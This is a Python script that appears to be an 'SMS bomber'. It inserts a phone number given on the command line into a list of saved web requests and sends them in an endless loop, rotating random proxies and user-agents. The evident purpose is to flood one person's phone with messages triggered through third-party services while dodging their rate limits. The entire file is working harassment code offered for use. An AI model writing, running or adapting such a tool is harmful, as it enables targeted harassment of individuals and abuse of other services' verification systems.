import sys
import json
from requests import *
from random import choice
from time import sleep
from conf import *


def fuck():
    _res = None
    while True:
        _data = yield _res
        try:
            _s = Session()
            _data["headers"].update({"User-Agent": choice(UAL)})
            _res = Request(_data["method"], _data["url"],
                           headers=_data["headers"], data=_data["data"])
            _pre = _res.prepare()
            _resp = _s.send(_pre, timeout=5, proxies=choice(PRL))
            _data = _resp.status_code
        except Exception as e:
            _data = e


def main():
    while True:
        FK = fuck()
        next(FK)
        with open("payload.json") as _f:
            for _item in json.loads(_f.read().replace(".:phones_number:.", sys.argv[1])):
                print(_item["url"], FK.send(_item))
                sleep(event_Timeout)
        sleep(next_Timeout)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        pass
